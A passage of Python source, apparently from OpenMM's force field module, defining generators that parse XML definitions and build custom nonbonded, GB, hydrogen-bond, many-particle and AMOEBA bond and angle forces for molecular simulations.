int(element.attrib['bondCutoff']))\n        ff.registerGenerator(generator)\n        for param in element.findall('GlobalParameter'):\n            generator.globalParams[param.attrib['name']] = float(param.attrib['defaultValue'])\n        for param in element.findall('PerParticleParameter'):\n            generator.perParticleParams.append(param.attrib['name'])\n        for value in element.findall('ComputedValue'):\n            generator.computedValues[value.attrib['name']] = value.attrib['expression']\n        generator.params = ForceField._AtomTypeParameters(ff, 'CustomNonbondedForce', 'Atom', generator.perParticleParams)\n        generator.params.parseDefinitions(element)\n        generator.functions += _parseFunctions(element)\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n        methodMap = {NoCutoff:mm.CustomNonbondedForce.NoCutoff,\n                     CutoffNonPeriodic:mm.CustomNonbondedForce.CutoffNonPeriodic,\n                     CutoffPeriodic:mm.CustomNonbondedForce.CutoffPeriodic,\n                     Ewald:mm.CustomNonbondedForce.CutoffPeriodic,\n                     PME:mm.CustomNonbondedForce.CutoffPeriodic,\n                     LJPME:mm.CustomNonbondedForce.CutoffPeriodic}\n        if nonbondedMethod not in methodMap:\n            raise ValueError('Illegal nonbonded method for CustomNonbondedForce')\n        force = mm.CustomNonbondedForce(self.energy)\n        for param in self.globalParams:\n            force.addGlobalParameter(param, self.globalParams[param])\n        for param in self.perParticleParams:\n            force.addPerParticleParameter(param)\n        for name in self.computedValues:\n            force.addComputedValue(name, self.computedValues[name])\n        _createFunctions(force, self.functions)\n        for atom in data.atoms:\n            values = self.params.getAtomParameters(atom, data)\n            force.addParticle(values)\n        force.setNonbondedMethod(methodMap[nonbondedMethod])\n        force.setCutoffDistance(nonbondedCutoff)\n        sys.addForce(force)\n\n    def postprocessSystem(self, sys, data, args):\n        # Create the exclusions.\n\n        bondIndices = _findBondsForExclusions(data, sys)\n        nonbonded = [f for f in sys.getForces() if isinstance(f, mm.CustomNonbondedForce)][0]\n        nonbonded.createExclusionsFromBonds(bondIndices, self.bondCutoff)\n\nparsers[\"CustomNonbondedForce\"] = CustomNonbondedGenerator.parseElement\n\n\n## @private\nclass CustomGBGenerator(object):\n    \"\"\"A CustomGBGenerator constructs a CustomGBForce.\"\"\"\n\n    def __init__(self, forcefield):\n        self.ff = forcefield\n        self.globalParams = {}\n        self.perParticleParams = []\n        self.computedValues = []\n        self.energyTerms = []\n        self.functions = []\n\n    @staticmethod\n    def parseElement(element, ff):\n        generator = CustomGBGenerator(ff)\n        ff.registerGenerator(generator)\n        for param in element.findall('GlobalParameter'):\n            generator.globalParams[param.attrib['name']] = float(param.attrib['defaultValue'])\n        for param in element.findall('PerParticleParameter'):\n            generator.perParticleParams.append(param.attrib['name'])\n        generator.params = ForceField._AtomTypeParameters(ff, 'CustomGBForce', 'Atom', generator.perParticleParams)\n        generator.params.parseDefinitions(element)\n        computationMap = {\"SingleParticle\" : mm.CustomGBForce.SingleParticle,\n                          \"ParticlePair\" : mm.CustomGBForce.ParticlePair,\n                          \"ParticlePairNoExclusions\" : mm.CustomGBForce.ParticlePairNoExclusions}\n        for value in element.findall('ComputedValue'):\n            generator.computedValues.append((value.attrib['name'], value.text, computationMap[value.attrib['type']]))\n        for term in element.findall('EnergyTerm'):\n            generator.energyTerms.append((term.text, computationMap[term.attrib['type']]))\n        generator.functions += _parseFunctions(element)\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n        methodMap = {NoCutoff:mm.CustomGBForce.NoCutoff,\n                     CutoffNonPeriodic:mm.CustomGBForce.CutoffNonPeriodic,\n                     CutoffPeriodic:mm.CustomGBForce.CutoffPeriodic,\n                     Ewald:mm.CustomGBForce.CutoffPeriodic,\n                     PME:mm.CustomGBForce.CutoffPeriodic,\n                     LJPME:mm.CustomGBForce.CutoffPeriodic}\n        if nonbondedMethod not in methodMap:\n            raise ValueError('Illegal nonbonded method for CustomGBForce')\n        force = mm.CustomGBForce()\n        for param in self.globalParams:\n            force.addGlobalParameter(param, self.globalParams[param])\n        for param in self.perParticleParams:\n            force.addPerParticleParameter(param)\n        for value in self.computedValues:\n            force.addComputedValue(value[0], value[1], value[2])\n        for term in self.energyTerms:\n            force.addEnergyTerm(term[0], term[1])\n        _createFunctions(force, self.functions)\n        for atom in data.atoms:\n            values = self.params.getAtomParameters(atom, data)\n            force.addParticle(values)\n        force.setNonbondedMethod(methodMap[nonbondedMethod])\n        force.setCutoffDistance(nonbondedCutoff)\n        sys.addForce(force)\n\nparsers[\"CustomGBForce\"] = CustomGBGenerator.parseElement\n\n\n## @private\nclass CustomHbondGenerator(object):\n    \"\"\"A CustomHbondGenerator constructs a CustomHbondForce.\"\"\"\n\n    def __init__(self, forcefield):\n        self.ff = forcefield\n        self.donorTypes1 = []\n        self.donorTypes2 = []\n        self.donorTypes3 = []\n        self.acceptorTypes1 = []\n        self.acceptorTypes2 = []\n        self.acceptorTypes3 = []\n        self.globalParams = {}\n        self.perDonorParams = []\n        self.perAcceptorParams = []\n        self.donorParamValues = []\n        self.acceptorParamValues = []\n        self.functions = []\n\n    @staticmethod\n    def parseElement(element, ff):\n        generator = CustomHbondGenerator(ff)\n        ff.registerGenerator(generator)\n        generator.energy = element.attrib['energy']\n        generator.bondCutoff = int(element.attrib['bondCutoff'])\n        generator.particlesPerDonor = int(element.attrib['particlesPerDonor'])\n        generator.particlesPerAcceptor = int(element.attrib['particlesPerAcceptor'])\n        if generator.particlesPerDonor < 1 or generator.particlesPerDonor > 3:\n            raise ValueError('Illegal value for particlesPerDonor for CustomHbondForce')\n        if generator.particlesPerAcceptor < 1 or generator.particlesPerAcceptor > 3:\n            raise ValueError('Illegal value for particlesPerAcceptor for CustomHbondForce')\n        for param in element.findall('GlobalParameter'):\n            generator.globalParams[param.attrib['name']] = float(param.attrib['defaultValue'])\n        for param in element.findall('PerDonorParameter'):\n            generator.perDonorParams.append(param.attrib['name'])\n        for param in element.findall('PerAcceptorParameter'):\n            generator.perAcceptorParams.append(param.attrib['name'])\n        for donor in element.findall('Donor'):\n            types = ff._findAtomTypes(donor.attrib, 3)[:generator.particlesPerDonor]\n            if None not in types:\n                generator.donorTypes1.append(types[0])\n                if len(types) > 1:\n                    generator.donorTypes2.append(types[1])\n                if len(types) > 2:\n                    generator.donorTypes3.append(types[2])\n                generator.donorParamValues.append([float(donor.attrib[param]) for param in generator.perDonorParams])\n        for acceptor in element.findall('Acceptor'):\n            types = ff._findAtomTypes(acceptor.attrib, 3)[:generator.particlesPerAcceptor]\n            if None not in types:\n                generator.acceptorTypes1.append(types[0])\n                if len(types) > 1:\n                    generator.acceptorTypes2.append(types[1])\n                if len(types) > 2:\n                    generator.acceptorTypes3.append(types[2])\n                generator.acceptorParamValues.append([float(acceptor.attrib[param]) for param in generator.perAcceptorParams])\n        generator.functions += _parseFunctions(element)\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n        methodMap = {NoCutoff:mm.CustomHbondForce.NoCutoff,\n                     CutoffNonPeriodic:mm.CustomHbondForce.CutoffNonPeriodic,\n                     CutoffPeriodic:mm.CustomHbondForce.CutoffPeriodic,\n                     Ewald:mm.CustomHbondForce.CutoffPeriodic,\n                     PME:mm.CustomHbondForce.CutoffPeriodic,\n                     LJPME:mm.CustomHbondForce.CutoffPeriodic}\n        if nonbondedMethod not in methodMap:\n            raise ValueError('Illegal nonbonded method for CustomNonbondedForce')\n        force = mm.CustomHbondForce(self.energy)\n        sys.addForce(force)\n        for param in self.globalParams:\n            force.addGlobalParameter(param, self.globalParams[param])\n        for param in self.perDonorParams:\n            force.addPerDonorParameter(param)\n        for param in self.perAcceptorParams:\n            force.addPerAcceptorParameter(param)\n        _createFunctions(force, self.functions)\n        force.setNonbondedMethod(methodMap[nonbondedMethod])\n        force.setCutoffDistance(nonbondedCutoff)\n\n        # Add donors.\n\n        if self.particlesPerDonor == 1:\n            for atom in data.atoms:\n                type1 = data.atomType[atom]\n                for i in range(len(self.donorTypes1)):\n                    types1 = self.donorTypes1[i]\n                    if type1 in types1:\n                        force.addDonor(atom.index, -1, -1, self.donorParamValues[i])\n        elif self.particlesPerDonor == 2:\n            for bond in data.bonds:\n                type1 = data.atomType[data.atoms[bond.atom1]]\n                type2 = data.atomType[data.atoms[bond.atom2]]\n                for i in range(len(self.donorTypes1)):\n                    types1 = self.donorTypes1[i]\n                    types2 = self.donorTypes2[i]\n                    if type1 in types1 and type2 in types2:\n                        force.addDonor(bond.atom1, bond.atom2, -1, self.donorParamValues[i])\n                    elif type1 in types2 and type2 in types1:\n                        force.addDonor(bond.atom2, bond.atom1, -1, self.donorParamValues[i])\n        else:\n            for angle in data.angles:\n                type1 = data.atomType[data.atoms[angle[0]]]\n                type2 = data.atomType[data.atoms[angle[1]]]\n                type3 = data.atomType[data.atoms[angle[2]]]\n                for i in range(len(self.donorTypes1)):\n                    types1 = self.donorTypes1[i]\n                    types2 = self.donorTypes2[i]\n                    types3 = self.donorTypes3[i]\n                    if (type1 in types1 and type2 in types2 and type3 in types3) or (type1 in types3 and type2 in types2 and type3 in types1):\n                        force.addDonor(angle[0], angle[1], angle[2], self.donorParamValues[i])\n\n        # Add acceptors.\n\n        if self.particlesPerAcceptor == 1:\n            for atom in data.atoms:\n                type1 = data.atomType[atom]\n                for i in range(len(self.acceptorTypes1)):\n                    types1 = self.acceptorTypes1[i]\n                    if type1 in types1:\n                        force.addAcceptor(atom.index, -1, -1, self.acceptorParamValues[i])\n        elif self.particlesPerAcceptor == 2:\n            for bond in data.bonds:\n                type1 = data.atomType[data.atoms[bond.atom1]]\n                type2 = data.atomType[data.atoms[bond.atom2]]\n                for i in range(len(self.acceptorTypes1)):\n                    types1 = self.acceptorTypes1[i]\n                    types2 = self.acceptorTypes2[i]\n                    if type1 in types1 and type2 in types2:\n                        force.addAcceptor(bond.atom1, bond.atom2, -1, self.acceptorParamValues[i])\n                    elif type1 in types2 and type2 in types1:\n                        force.addAcceptor(bond.atom2, bond.atom1, -1, self.acceptorParamValues[i])\n        else:\n            for angle in data.angles:\n                type1 = data.atomType[data.atoms[angle[0]]]\n                type2 = data.atomType[data.atoms[angle[1]]]\n                type3 = data.atomType[data.atoms[angle[2]]]\n                for i in range(len(self.acceptorTypes1)):\n                    types1 = self.acceptorTypes1[i]\n                    types2 = self.acceptorTypes2[i]\n                    types3 = self.acceptorTypes3[i]\n                    if (type1 in types1 and type2 in types2 and type3 in types3) or (type1 in types3 and type2 in types2 and type3 in types1):\n                        force.addAcceptor(angle[0], angle[1], angle[2], self.acceptorParamValues[i])\n\n        # Add exclusions.\n\n        for donor in range(force.getNumDonors()):\n            (d1, d2, d3, params) = force.getDonorParameters(donor)\n            outerAtoms = set((d1, d2, d3))\n            if -1 in outerAtoms:\n                outerAtoms.remove(-1)\n            excludedAtoms = set(outerAtoms)\n            for i in range(self.bondCutoff):\n                newOuterAtoms = set()\n                for atom in outerAtoms:\n                    for bond in data.atomBonds[atom]:\n                        b = data.bonds[bond]\n                        bondedAtom = (b.atom2 if b.atom1 == atom else b.atom1)\n                        if bondedAtom not in excludedAtoms:\n                            newOuterAtoms.add(bondedAtom)\n                            excludedAtoms.add(bondedAtom)\n                outerAtoms = newOuterAtoms\n            for acceptor in range(force.getNumAcceptors()):\n                (a1, a2, a3, params) = force.getAcceptorParameters(acceptor)\n                if a1 in excludedAtoms or a2 in excludedAtoms or a3 in excludedAtoms:\n                    force.addExclusion(donor, acceptor)\n\nparsers[\"CustomHbondForce\"] = CustomHbondGenerator.parseElement\n\n\n## @private\nclass CustomManyParticleGenerator(object):\n    \"\"\"A CustomManyParticleGenerator constructs a CustomManyParticleForce.\"\"\"\n\n    def __init__(self, forcefield, particlesPerSet, energy, permutationMode, bondCutoff):\n        self.ff = forcefield\n        self.particlesPerSet = particlesPerSet\n        self.energy = energy\n        self.permutationMode = permutationMode\n        self.bondCutoff = bondCutoff\n        self.globalParams = {}\n        self.perParticleParams = []\n        self.functions = []\n        self.typeFilters = []\n\n    @staticmethod\n    def parseElement(element, ff):\n        permutationMap = {\"SinglePermutation\" : mm.CustomManyParticleForce.SinglePermutation,\n                          \"UniqueCentralParticle\" : mm.CustomManyParticleForce.UniqueCentralParticle}\n        generator = CustomManyParticleGenerator(ff, int(element.attrib['particlesPerSet']), element.attrib['energy'], permutationMap[element.attrib['permutationMode']], int(element.attrib['bondCutoff']))\n        ff.registerGenerator(generator)\n        for param in element.findall('GlobalParameter'):\n            generator.globalParams[param.attrib['name']] = float(param.attrib['defaultValue'])\n        for param in element.findall('PerParticleParameter'):\n            generator.perParticleParams.append(param.attrib['name'])\n        for param in element.findall('TypeFilter'):\n            generator.typeFilters.append((int(param.attrib['index']), [int(x) for x in param.attrib['types'].split(',')]))\n        generator.params = ForceField._AtomTypeParameters(ff, 'CustomManyParticleForce', 'Atom', generator.perParticleParams)\n        generator.params.parseDefinitions(element)\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n        methodMap = {NoCutoff:mm.CustomManyParticleForce.NoCutoff,\n                     CutoffNonPeriodic:mm.CustomManyParticleForce.CutoffNonPeriodic,\n                     CutoffPeriodic:mm.CustomManyParticleForce.CutoffPeriodic,\n                     Ewald:mm.CustomManyParticleForce.CutoffPeriodic,\n                     PME:mm.CustomManyParticleForce.CutoffPeriodic,\n                     LJPME:mm.CustomManyParticleForce.CutoffPeriodic}\n        if nonbondedMethod not in methodMap:\n            raise ValueError('Illegal nonbonded method for CustomManyParticleForce')\n        force = mm.CustomManyParticleForce(self.particlesPerSet, self.energy)\n        force.setPermutationMode(self.permutationMode)\n        for param in self.globalParams:\n            force.addGlobalParameter(param, self.globalParams[param])\n        for param in self.perParticleParams:\n            force.addPerParticleParameter(param)\n        for index, types in self.typeFilters:\n            force.setTypeFilter(index, types)\n        for (name, type, values, params) in self.functions:\n            if type == 'Continuous1D':\n                force.addTabulatedFunction(name, mm.Continuous1DFunction(values, params['min'], params['max'], params['periodic']))\n            elif type == 'Continuous2D':\n                force.addTabulatedFunction(name, mm.Continuous2DFunction(params['xsize'], params['ysize'], values, params['xmin'], params['xmax'], params['ymin'], params['ymax']))\n            elif type == 'Continuous3D':\n                force.addTabulatedFunction(name, mm.Continuous2DFunction(params['xsize'], params['ysize'], params['zsize'], values, params['xmin'], params['xmax'], params['ymin'], params['ymax'], params['zmin'], params['zmax']))\n            elif type == 'Discrete1D':\n                force.addTabulatedFunction(name, mm.Discrete1DFunction(values))\n            elif type == 'Discrete2D':\n                force.addTabulatedFunction(name, mm.Discrete2DFunction(params['xsize'], params['ysize'], values))\n            elif type == 'Discrete3D':\n                force.addTabulatedFunction(name, mm.Discrete2DFunction(params['xsize'], params['ysize'], params['zsize'], values))\n        for atom in data.atoms:\n            values = self.params.getAtomParameters(atom, data)\n            type = int(self.params.getExtraParameters(atom, data)['filterType'])\n            force.addParticle(values, type)\n        force.setNonbondedMethod(methodMap[nonbondedMethod])\n        force.setCutoffDistance(nonbondedCutoff)\n        sys.addForce(force)\n\n    def postprocessSystem(self, sys, data, args):\n        # Create exclusions based on bonds.\n\n        bondIndices = []\n        for bond in data.bonds:\n            bondIndices.append((bond.atom1, bond.atom2))\n\n        # If a virtual site does *not* share exclusions with another atom, add a bond between it and its first parent atom.\n\n        for i in range(sys.getNumParticles()):\n            if sys.isVirtualSite(i):\n                (site, atoms, excludeWith) = data.virtualSites[data.atoms[i]]\n                if excludeWith is None:\n                    bondIndices.append((i, site.getParticle(0)))\n\n        # Certain particles, such as lone pairs and Drude particles, share exclusions with a parent atom.\n        # If the parent atom does not interact with an atom, the child particle does not either.\n\n        for atom1, atom2 in bondIndices:\n            for child1 in data.excludeAtomWith[atom1]:\n                bondIndices.append((child1, atom2))\n                for child2 in data.excludeAtomWith[atom2]:\n                    bondIndices.append((child1, child2))\n            for child2 in data.excludeAtomWith[atom2]:\n                bondIndices.append((atom1, child2))\n\n        # Create the exclusions.\n\n        nonbonded = [f for f in sys.getForces() if isinstance(f, mm.CustomManyParticleForce)][0]\n        nonbonded.createExclusionsFromBonds(bondIndices, self.bondCutoff)\n\nparsers[\"CustomManyParticleForce\"] = CustomManyParticleGenerator.parseElement\n\ndef getAtomPrint(data, atomIndex):\n\n    if (atomIndex < len(data.atoms)):\n        atom = data.atoms[atomIndex]\n        returnString = \"%4s %4s %5d\" % (atom.name, atom.residue.name, atom.residue.index)\n    else:\n        returnString = \"NA\"\n\n    return returnString\n\n#=============================================================================================\n\ndef countConstraint(data):\n\n    bondCount = 0\n    angleCount = 0\n    for bond in data.bonds:\n        if bond.isConstrained:\n            bondCount += 1\n\n    angleCount = 0\n    for (angle, isConstrained) in zip(data.angles, data.isAngleConstrained):\n        if (isConstrained):\n            angleCount += 1\n\n    print(\"Constraints bond=%d angle=%d  total=%d\" % (bondCount, angleCount, (bondCount+angleCount)))\n\n## @private\nclass AmoebaBondGenerator(object):\n\n    #=============================================================================================\n\n    \"\"\"An AmoebaBondGenerator constructs a AmoebaBondForce.\"\"\"\n\n    #=============================================================================================\n\n    def __init__(self, cubic, quartic):\n\n        self.cubic = cubic\n        self.quartic = quartic\n        self.types1 = []\n        self.types2 = []\n        self.length = []\n        self.k = []\n\n    #=============================================================================================\n\n    @staticmethod\n    def parseElement(element, forceField):\n\n        # <AmoebaBondForce bond-cubic=\"-25.5\" bond-quartic=\"379.3125\">\n        # <Bond class1=\"1\" class2=\"2\" length=\"0.1437\" k=\"156900.0\"/>\n\n        generator = AmoebaBondGenerator(element.attrib['bond-cubic'], element.attrib['bond-quartic'])\n        forceField._forces.append(generator)\n        for bond in element.findall('Bond'):\n            types = forceField._findAtomTypes(bond.attrib, 2)\n            if None not in types:\n                generator.types1.append(types[0])\n                generator.types2.append(types[1])\n                generator.length.append(float(bond.attrib['length']))\n                generator.k.append(float(bond.attrib['k']))\n            else:\n                outputString = \"AmoebaBondGenerator: error getting types: %s %s\" % (\n                                    bond.attrib['class1'],\n                                    bond.attrib['class2'])\n                raise ValueError(outputString)\n\n    #=============================================================================================\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n\n        energy = \"k*(d^2 + %s*d^3 + %s*d^4); d=r-r0\" % (self.cubic, self.quartic)\n        existing = [f for f in sys.getForces() if type(f) == mm.CustomBondForce and f.getEnergyFunction() == energy]\n        if len(existing) == 0:\n            force = mm.CustomBondForce(energy)\n            force.addPerBondParameter('r0')\n            force.addPerBondParameter('k')\n            force.setName('AmoebaBond')\n            sys.addForce(force)\n        else:\n            force = existing[0]\n\n        for bond in data.bonds:\n            type1 = data.atomType[data.atoms[bond.atom1]]\n            type2 = data.atomType[data.atoms[bond.atom2]]\n            for i in range(len(self.types1)):\n                types1 = self.types1[i]\n                types2 = self.types2[i]\n                if (type1 in types1 and type2 in types2) or (type1 in types2 and type2 in types1):\n                    bond.length = self.length[i]\n                    if bond.isConstrained:\n                        data.addConstraint(sys, bond.atom1, bond.atom2, self.length[i])\n                    if self.k[i] != 0:\n                        if not bond.isConstrained or args.get('flexibleConstraints', False):\n                            force.addBond(bond.atom1, bond.atom2, [self.length[i], self.k[i]])\n                    break\n\nparsers[\"AmoebaBondForce\"] = AmoebaBondGenerator.parseElement\n\n#=============================================================================================\n# Add angle constraint\n#=============================================================================================\n\ndef addAngleConstraint(angle, idealAngle, data, sys):\n\n    # Find the two bonds that make this angle.\n\n    bond1 = None\n    bond2 = None\n    for bond in data.atomBonds[angle[1]]:\n        atom1 = data.bonds[bond].atom1\n        atom2 = data.bonds[bond].atom2\n        if atom1 == angle[0] or atom2 == angle[0]:\n            bond1 = bond\n        elif atom1 == angle[2] or atom2 == angle[2]:\n            bond2 = bond\n\n        # Compute the distance between atoms and add a constraint\n\n        if bond1 is not None and bond2 is not None:\n            l1 = data.bonds[bond1].length\n            l2 = data.bonds[bond2].length\n            if l1 is not None and l2 is not None:\n                length = sqrt(l1*l1 + l2*l2 - 2*l1*l2*cos(idealAngle))\n                data.addConstraint(sys, angle[0], angle[2], length)\n                return\n\n#=============================================================================================\n## @private\nclass AmoebaAngleGenerator(object):\n\n    #=============================================================================================\n    \"\"\"An AmoebaAngleGenerator constructs a AmoebaAngleForce.\"\"\"\n    #=============================================================================================\n\n    def __init__(self, forceField, cubic, quartic, pentic, sextic):\n\n        self.forceField = forceField\n        self.cubic = cubic\n        self.quartic = quartic\n        self.pentic = pentic\n        self.sextic = sextic\n\n        self.types1 = []\n        self.types2 = []\n        self.types3 = []\n\n        self.angle = []\n        self.k = []\n        self.inPlane = []\n\n    #=============================================================================================\n\n    @staticmethod\n    def parseElement(element, forceField):\n\n        # <AmoebaAngleForce angle-cubic=\"-0.014\" angle-quartic=\"5.6e-05\" angle-pentic=\"-7e-07\" angle-sextic=\"2.2e-08\">\n        #   <Angle class1=\"2\" class2=\"1\" class3=\"3\" k=\"0.0637259642196\" angle1=\"122.00\"  />\n\n        existing = [f for f in forceField._forces if isinstance(f, AmoebaAngleGenerator)]\n        if len(existing) == 0:\n            generator = AmoebaAngleGenerator(forceField, element.attrib['angle-cubic'], element.attrib['angle-quartic'],  element.attrib['angle-pentic'], element.attrib['angle-sextic'])\n            forceField.registerGenerator(generator)\n        else:\n            generator = existing[0]\n            if tuple(element.attrib[x] for x in ('angle-cubic', 'angle-quartic', 'angle-pentic', 'angle-sextic')) != (generator.cubic, generator.quartic, generator.pentic, generator.sextic):\n                raise ValueError('All <AmoebaAngleForce> tags must use identical scale factors')\n        for angle in element.findall('Angle'):\n            types = forceField._findAtomTypes(angle.attrib, 3)\n            if None not in types:\n\n                generator.types1.append(types[0])\n                generator.types2.append(types[1])\n                generator.types3.append(types[2])\n\n                angleList = []\n                angleList.append(float(angle.attrib['angle1']))\n\n                if 'angle2' in angle.attrib:\n                    angleList.append(float(angle.attrib['angle2']))\n                if 'angle3' in angle.attrib:\n                    angleList.append(float(angle.attrib['angle3']))\n\n                generator.angle.append(angleList)\n                generator.k.append(float(angle.attrib['k']))\n                if 'inPlane' in angle.attrib:\n                    generator.inPlane.append(angle.attrib['inPlane'].lower() == 'true')\n                else:\n                    generator.inPlane.append(None) # for backward compatibility with older versions of AMOEBA\n            else:\n                outputString = \"AmoebaAngleGenerator: error getting types: %s %s %s\" % (\n                                    angle.attrib['class1'],\n                                    angle.attrib['class2'],\n                                    angle.attrib['class3'])\n                raise ValueError(outputString)\n\n    #=============================================================================================\n    # createForce is bypassed here since the AmoebaOutOfPlaneBendForce generator must first execute\n    # and partition angles into in-plane and non-in-plane angles\n    #=============================================================================================\n\n    def createForce(self, sys, data, nonbondedMethod, nonbondedCutoff, args):\n        if not any(isinstance(f, AmoebaOutOfPlaneBendGenerator) for f in self.forceField.getGenerators()):\n            raise ValueError('A ForceField containing an <AmoebaAngleForce> must also contain an <AmoebaOutOfPlaneBendForce>')\n\n    #=============================================================================================\n    # createForcePostOpBendAngle is called by AmoebaOutOfPlaneBendForce with the list of\n    # non-in-plane angles\n    #=============================================================================================\n\n    def createForcePostOpBendAngle(self, sys, data, nonbondedMethod, nonbondedCutoff, angleList, args):\n\n        # get force\n\n        energy = \"k*(d^2 + %s*d^3 + %s*d^4 + %s*d^5 + %s*d^6); d=%.15g*theta-theta0\" % (self.cubic, self.quartic, self.pentic, self.sextic, 180/math.pi)\n        existing = [f for f in sys.getForces() if type(f) == mm.CustomAngleForce and f.getEnergyFunction() == energy]\n\n        if len(existing) == 0:\n            force = mm.CustomAngleForce(energy)\n            force.addPerAngleParameter('theta0')\n            force.addPerAngleParameter('k')\n            force.setName('AmoebaAngle')\n            sys.addForce(force)\n        else:\n            force = existing[0]\n\n        DEG_TO_RAD = math.pi / 180\n\n        for angleDict in angleList:\n            angle = angleDict['angle']\n            isConstrained = angleDict['isConstrained']\n            inPlane = angleDict['inPlane']\n\n            type1 = data.atomType[data.atoms[angle[0]]]\n            type2 = data.atomType[data.atoms[angle[1]]]\n            type3 = data.atomType[data.atoms[angle[2]]]\n            for i in range(len(self.types1)):\n                # self.inPlane is used for modern force fields.  inPlane is used for legacy ones that don't specify it.\n                if self.inPlane[i] or (self.inPlane[i] is None and inPlane):\n                    continue\n                types1 = self.types1[i]\n                types2 = self.types2[i]\n                types3 = self.types3[i]\n                if (type1 in types1 and type2 in types2 and type3 in types3) or (type1 in types3 and type2 in types2 and type3 in types1):\n                    if isConstrained and self.k[i] != 0.0:\n                        angleDict['idealAngle'] = self.angle[i][0]\n                        addAngleConstraint(angle, self.angle[i][0]*DEG_TO_RAD, data, sys)\n                    if self.k[i] != 0 and (not isConstrained or args.get('flexibleConstraints', False)):\n                        lenAngle = len(self.angle[i])\n                        if (lenAngle > 1):\n                            # get k-index by counting number of non-angle hydrogens on the central atom\n                            # based on kangle.f\n                            numberOfHydrogens = 0\n                            for bond in data.atomBonds[angle[1]]:\n                                atom1 = data.bonds[bond].atom1\n                                atom2 = data.bonds[bond].atom2\n                                if (atom1 == angle[1] and atom2 != angle[0] and atom2 != angle[2] and (sys.getParticleMass(atom2)/unit.dalton) < 1.90):\n                                    numberOfHydrogens += 1\n                                if (atom2 == angle[1] and atom1 != angle[0] and atom1 != angle[2] and (sys.getParticleMass(atom1)/unit.dalton) < 1.90):\n                                    numberOfHydrogens += 1\n                            if (numberOfHydrogens < lenAngle):\n                                angleValue =  self.angle[i][numberOfHydrogens]\n                            else:\n                                outputString = \"AmoebaAngleGenerator angle index=%d is out of range: [0, %5d] \" % (numberOfHydrogens, lenAngle)\n                                raise ValueError(outputString)\n                        else:\n                            angleValue =  self.angle[i][0]\n\n                        angleDict['idealAngle'] = angleValue\n                        force.addAngle(angle[0], angle[1], angle[2], [angleValue, self.k[i]])\n                    break\n\n    #=============================================================================================\n    # createForcePostOpBendInPlaneAngle is called by AmoebaOutOfPlaneBendForce with the list of\n    # in-plane angles\n    #=============================================================================================\n\n    def createForcePostOpBendInPlaneAngle(self, sys, data, nonbondedMethod, nonbondedCutoff, angleList, args):\n\n        # get force\n\n        energy = \"\"\"k*(d^2 + %s*d^3 + %s*d^4 + %s*d^5 + %s*d^6); d=theta-theta0;\n                    theta = %.15g*pointangle(x1, y1, z1, projx, projy, projz, x3, y3, z3);\n                    projx = x2-nx*dot; projy = y2-ny*dot; projz = z2-nz*dot;\n                    dot = nx*(x2-x3) + ny*(y2-y3) + nz*(z2-z3);\n                    nx = px/norm; ny = py/norm; nz = pz/norm;\n                    norm = sqrt(px*px + py*py + pz*pz);\n                    px = (d1y*d2z-d1z*d2y); py = (d1z*d2x-d1x*d2z); pz = (d1x*d2y-d1y*d2x);\n                    d1x = x1-x4; d1y = y1-y4; d1z = z1-z4;\n                    d2x = x3-x4; d2y = y3-y4; d2z = z3-z4\"\"\" % (self.cubic, self.quartic, self.pentic, self.sextic, 180/math.pi)\n        existing = [f for f in sys.getForces() if type(f) == mm.CustomCompoundBondForce and f.getEnergyFunction() == energy]\n        if len(existing) == 0:\n            force = mm.CustomCompoundBondForce(4, energy)\n            force.addPerBondParameter(\"theta0\")\n            force.addPerBondParameter(\"k\")\n            force.setName('AmoebaInPlaneAngle')\n            sys.addForce(force)\n        else:\n            force = existing[0]\n\n        for angleDict in angleList:\n\n            angle = angleDict['angle']\n            isConstrained = angleDict['isConstrained']\n            inPlane = angleDict['inPlane']\n\n            type1 = data.atomType[data.atoms[angle[0]]]\n            type2 = data.atomType[data.atoms[angle[1]]]\n            type3 = data.atomType[data.atoms[angle[2]]]\n\n            for i in range(len(self.types1)):\n                # self.inPlane is used for modern force fields.  inPlane is used for legacy ones that don't specify it.\n                if self.inPlane[i] == False or (self.inPlane[i] is None and not inPlane):\n                    continue\n                types1 = self.types1[i]\n                types2 = self.types2[i]\n                types3 = self.types3[i]\n\n                if (type1 in types1 and type2 in types2 and type3 in types3) or (type1 in types3 and type2 in types2 and type3 in types1):\n                    angleDict['idealAngle'] = self.angle[i][0]\n                    if (isConstrained and self.k[i] != 0.0):\n                        addAngleConstraint(angle, self.angle[i][0]*math.pi/180.0, data, sys)\n                    if self.k[i] != 0.0 and (not isConstrained or args.get('flexibleConstraints', False)):\n                        force.addBond((angle[0], angle[1], angle[2], angle[3]), (self.angle[i][0], self.k[i]))\n                    break\n\nparsers[\"AmoebaAngleForce\"] = AmoebaAngleGenerator.parseElement\n\n#=============================================================================================\n# Generator for the AmoebaOutOfPlaneBend covalent force; also calls methods in the\n# AmoebaAngleGenerator to generate the AmoebaAngleForce and\n# AmoebaInPlaneAngleForce\n#=============================================================================================\n\n## @private\nclass AmoebaOutOfPlaneBendGenerator(object):\n\n    #=============================================================================================\n\n    \"\"\"An AmoebaOutOfPlaneBendGenerator constructs a AmoebaOutOfPlaneBendForce.\"\"\"\n\n    #=============================================================================================\n\n    def __init__(self, forceField, type, cubic, quartic, pentic, sextic):\n\n        self.forceField = forceField\n        self.type = type\n        self.cubic = cubic\n        self.quartic = quartic\n        self.pentic = pentic\n        self.sextic = sextic\n\n        self.types1 = []\n        self.types2 = []\n        self.types3 = []\n        self.types4 = []\n\n        self.ks = []\n\n    #=============================================================================================\n    # Local version of findAtomTypes needed since class indices are 0 (i.e., not recognized)\n    # for types3 and 4\n    #=============================================================================================\n\n    def findAtomTypes(self, forceField, node, num):\n        \"\"\"Parse the attributes on an XML tag to find the set of atom types for each atom it involves.\"\"\"\n        types = []\n        attrib = node.attrib\n        for i in range(num):\n            if num == 1:\n                suffix = ''\n            else:\n                suffix = str(i+1)\n            classAttrib = 'class'+suffix\n            if classAttrib in attrib:\n                if attrib[classAttrib] in forceField._atomClasses:\n                    types.append(forceField._atomClasses[attrib[classAttrib]])\n                else:\n                    types.append(set())\n        return types\n\n    #=============================================================================================\n\n    @staticmethod\n    def parseElement(element, forceField):\n\n        #  <AmoebaOutOfPlaneBendForce type=\"ALLINGER\" opbend-cubic=\"-0.014\" opbend-quartic=\"5.6e-05\" 